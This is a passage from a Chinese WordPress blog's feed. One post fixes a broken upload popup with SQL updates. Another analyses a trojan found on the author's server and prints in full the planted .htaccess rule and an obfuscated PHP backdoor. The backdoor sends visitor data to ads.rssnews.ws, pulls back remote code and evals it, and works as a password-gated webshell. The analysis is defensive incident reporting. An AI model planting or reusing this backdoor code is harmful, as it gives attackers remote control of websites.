在本地架設了 lamp ,把数据库导入，然后要执行几个SQL語句，呵呵，这几个語句可是从小小子童鞋那里学过来的：</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">UPDATE</span> <span style="color: #ff0000;">`hacklog`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`wp_options`</span> <span style="color: #993333; font-weight: bold;">SET</span> <span style="color: #ff0000;">`option_value`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'http://www.hacklog.domain'</span> <span style="color: #993333; font-weight: bold;">WHERE</span> &nbsp;<span style="color: #ff0000;">`wp_options`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`option_name`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'home'</span> <span style="color: #993333; font-weight: bold;">LIMIT</span> <span style="color: #cc66cc;">1</span> ;<br />
<span style="color: #993333; font-weight: bold;">UPDATE</span> wp_posts <span style="color: #993333; font-weight: bold;">SET</span> post_content<span style="color: #66cc66;">=</span><span style="color: #993333; font-weight: bold;">REPLACE</span><span style="color: #66cc66;">&#40;</span>post_content<span style="color: #66cc66;">,</span><span style="color: #ff0000;">'http://www.ihacklog.com'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'http://www.hacklog.domain'</span><span style="color: #66cc66;">&#41;</span>;<br />
<br />
<span style="color: #993333; font-weight: bold;">UPDATE</span> <span style="color: #ff0000;">`hacklog`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`wp_options`</span> <span style="color: #993333; font-weight: bold;">SET</span> <span style="color: #ff0000;">`option_value`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'http://www.hacklog.domain'</span> <span style="color: #993333; font-weight: bold;">WHERE</span> &nbsp; <span style="color: #ff0000;">`wp_options`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`option_name`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'siteurl'</span> <span style="color: #993333; font-weight: bold;">LIMIT</span> <span style="color: #cc66cc;">1</span> ;</div></td></tr></tbody></table></div>
<p>其中http://www.hacklog.domain是我本地架設dns服务器，指向的是我本机的ip ，呵呵。</p>
<p>用文件替换法，最终把问题锁定在主题风格上，发现如果切换成别的风格就没事。于是重新修改之。OK了。<br />
<a href="http://static.ihacklog.com/wp-files/2009/11/upload_popup.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/upload_popup-550x282.png" alt="upload_popup" title="upload_popup" width="550" height="282" class="alignnone size-medium wp-image-2974" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2965";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2965" title="Permanent Link to 关于wordpress郁闷了很久的事情" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2965</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2010年05月25日  //  <a href="http://ihacklog.com/xml_html_css_js_ajax/facebox-v1-2.html" title="Facebox v1.2:很酷的popup 效果JQuery插件">Facebox v1.2:很酷的popup 效果JQuery插件</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/wordpress-cannot-open-popup-upload-window.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>险，博客被挂马</title>
		<link>http://ihacklog.com/php/wordpress/problems/drangerous-blog-had-been-injected.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/drangerous-blog-had-been-injected.html#comments</comments>
		<pubDate>Tue, 22 Sep 2009 13:37:48 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/?p=2570</guid>
		<description><![CDATA[今天上FTP看下，有意外发现： 在wp-content/temp目录下多了两个文件: 其中.htaccess 内容如下： 12Options -MultiViews ErrorDocument 404 //blog/wp-content/temp/200892.php php文件内容如下： 1&#60;? error_reporting&#40;0&#41;;$a=&#40;isset&#40;$_SERVER&#91;&#34;HTTP_HOST&#34;&#93;&#41;?$_SERVER&#91;...]]></description>
			<content:encoded><![CDATA[<p>今天上FTP看下，有意外发现：<br />
在wp-content/temp目录下多了两个文件:<br />
<a href="http://static.ihacklog.com/wp-files/2009/09/screenshot2.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/09/screenshot2.png" alt="php muma" /> </a><br />
其中.htaccess 内容如下：</p>
<div class="codecolorer-container apache default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="apache codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #00007f;">Options</span> -MultiViews<br />
<span style="color: #00007f;">ErrorDocument</span> <span style="color: #ff0000;">404</span> //blog/wp-content/temp/<span style="color: #ff0000;">200892</span>.php</div></td></tr></tbody></table></div>
<p>php文件内容如下：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$a</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_HOST&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_HOST&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$HTTP_HOST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$b</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;SERVER_NAME&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;SERVER_NAME&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$SERVER_NAME</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$c</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_URI&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_URI&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$REQUEST_URI</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$d</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;PHP_SELF&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;PHP_SELF&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$PHP_SELF</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$e</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;QUERY_STRING&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;QUERY_STRING&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$QUERY_STRING</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_REFERER&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_REFERER&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$HTTP_REFERER</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$g</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_USER_AGENT&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_USER_AGENT&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$HTTP_USER_AGENT</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$h</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REMOTE_ADDR&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REMOTE_ADDR&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$REMOTE_ADDR</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;SCRIPT_FILENAME&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;SCRIPT_FILENAME&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$SCRIPT_FILENAME</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$j</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_ACCEPT_LANGUAGE&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_ACCEPT_LANGUAGE&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #000088;">$HTTP_ACCEPT_LANGUAGE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$z</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;/?&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$b</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$g</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$h</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.e.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$f</span><span style="color: #339933;">=</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;cnNzbmV3cy53cw==&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;q&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;q&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aea9e93f574c4e737df3db20658c710b&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;aHR0cDovL2Fkcy4=&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$f</span><span style="color: #339933;">.</span><span style="color: #000088;">$z</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #339933;">=</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;aHR0cDovLzcu&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$f</span><span style="color: #339933;">.</span><span style="color: #000088;">$z</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$cu</span><span style="color: #339933;">=</span><a href="http://www.php.net/curl_init"><span style="color: #990000;">curl_init</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;aHR0cDovLzcxLg==&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$f</span><span style="color: #339933;">.</span><span style="color: #000088;">$z</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cu</span><span style="color: #339933;">,</span>CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$o</span><span style="color: #339933;">=</span><a href="http://www.php.net/curl_exec"><span style="color: #990000;">curl_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cu</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/curl_close"><span style="color: #990000;">curl_close</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cu</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$o</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>这个temp目录我当时是为了方便更新插件把权限设置成了777,还好只有几个目录有写权限，而且后台禁止所有除我的ip以外的ip 地址访问。</p>
<p>我只解密了其中一个变量：</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://ads.rssnews.ws/?bmV0YmVhbnMuemhvdWJvLmNvbQ==.bmV0YmVhbnMuemhvdWJvLmNvbQ==.L3Rlc3QvZS5waHA=.L3Rlc3QvZS5waHA=...TW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4NjsgZW4tVVM7IHJ2OjEuOS4wLjE0KSBHZWNrby8yMDA5MDkwMjE2IFVidW50dS85LjA0IChqYXVudHkpIEZpcmVmb3gvMy4wLjE0IEdUQjU=.MTkyLjE2OC4xLjI=.e.L2hvbWUvemhvdWJvL3dvcmtzcGFjZS9uZXRiZWFucy90ZXN0L2UucGhw.ZW4tdXMsZW47cT0wLjcsemgtY247cT0wLjM=</div></td></tr></tbody></table></div>
<p>大概是用远程文件包含，然后再eval执行代码。而且貌似可以当作webshell控制：因为其中有这么一句：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;q&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;q&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aea9e93f574c4e737df3db20658c710b&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#93;</span></div></td></tr></tbody></table></div>
<p>从时间看是我暑假在家时被挂的马，那时我正好在家，没有连网，也没怎么查看FTP。<br />
所有子其他子站点下只要是777的目录，都被挂了相同的马，而且那个php webshell 的文件名是随机生成的。<br />
我猜测这可以是LP的服务器的问题。</p>
<p>ads.rssnews.wsIP为66.226.75.10<br />
物理地址为“美国 加利福尼亚州“ ，也就是我现在服务器所在的地方。</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2570";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2570" title="Permanent Link to 险，博客被挂马" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2570</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年08月29日  //  <a href="http://ihacklog.com/software/cool_software_share/setup-win7-custom-file-extension-icons.html" title="Win7文件类型图标自定义">Win7文件类型图标自定义</a> (3)</li><li>2011年01月5日  //  <a href="http://ihacklog.com/server/ubuntu-server/add-scsi-disk-for-old-server.html" title="老服务器新增SCSI硬盘，挂载之">老服务器新增SCSI硬盘，挂载之</a> (0)</li><li>2008年12月22日  //  <a href="http://ihacklog.com/security_optimization/40%e4%b8%aa%e8%bf%b9%e8%b1%a1%e8%a1%a8%e6%98%8e%e4%bd%a0%e8%bf%98%e6%98%afphp%e8%8f%9c%e9%b8%9f.html" title="40个迹象表明你还是PHP菜鸟 ">40个迹象表明你还是PHP菜鸟 </a> (0)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/%e4%b8%bb%e6%9d%bf%e7%b3%bb%e5%88%97%e7%9f%a5%e8%af%86%ef%bc%9a%e5%b9%b6%e5%8f%a3%e4%b8%b2%e5%8f%a3.html" title="主板系列知识：并口/串口">主板系列知识：并口/串口</a> (1)</li><li>2011年09月14日  //  <a href="http://ihacklog.com/php/wordpress/plugins/wp-comment-author-location.html" title="WordPress插件WP Comment Author Location">WordPress插件WP Comment Author Location</a> (6)</li><li>2011年05月14日  //  <a href="http://ihacklog.com/php/wordpress/plugins/wp-my-bookshelf.html" title="WP My 